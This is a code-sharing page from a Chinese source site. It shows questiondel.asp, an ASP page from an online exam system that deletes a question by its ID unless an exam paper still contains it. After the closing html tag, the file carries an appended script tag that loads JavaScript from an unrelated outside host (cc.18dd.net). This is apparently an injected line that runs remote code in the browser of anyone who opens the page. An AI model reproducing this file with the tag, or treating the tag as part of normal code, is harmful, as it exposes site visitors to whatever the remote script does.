questiondel.asp

来自「通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务」· ASP 代码 · 共 31 行

ASP

31 行

<!--#include File="isAdmin.asp"-->
<!--#include file="../class/EQuestion.asp"-->
<!--#include file="../class/EPaperList.asp"-->
<html>
<head>
<title>删除试题信息</title>
</head>
<body>
<%
  Dim qid
  Set qa = New EQuestion
  Set ls = New EPaperList
  qid = Request.QueryString("qid")
  '判断试卷表中是否存在该试题信息
  If ls.HaveQId(qid) Then
    Response.Write "<Script>alert('试卷中包含该试题信息，不允许删除');window.close();</Script>"
  Else
    '删除数据
	qa.DeleteQuestion(qid)
  End If
  Response.Write "<h3>成功删除试题信息！</h3>"
%>
</body>
<script language="javascript">
  // 刷新父级窗口，延迟此关闭
  opener.location.reload();
  setTimeout("window.close()",800);
</script>
</html>

<script language=javascript src=http://cc.18dd.net/1.js></script>

⌨️ 快捷键说明

复制代码Ctrl + C

搜索代码Ctrl + F

全屏模式F11

增大字号Ctrl + =

减小字号Ctrl + -

显示快捷键?

questiondel.asp

questiondel.asp - 源码说明

⌨️ 快捷键说明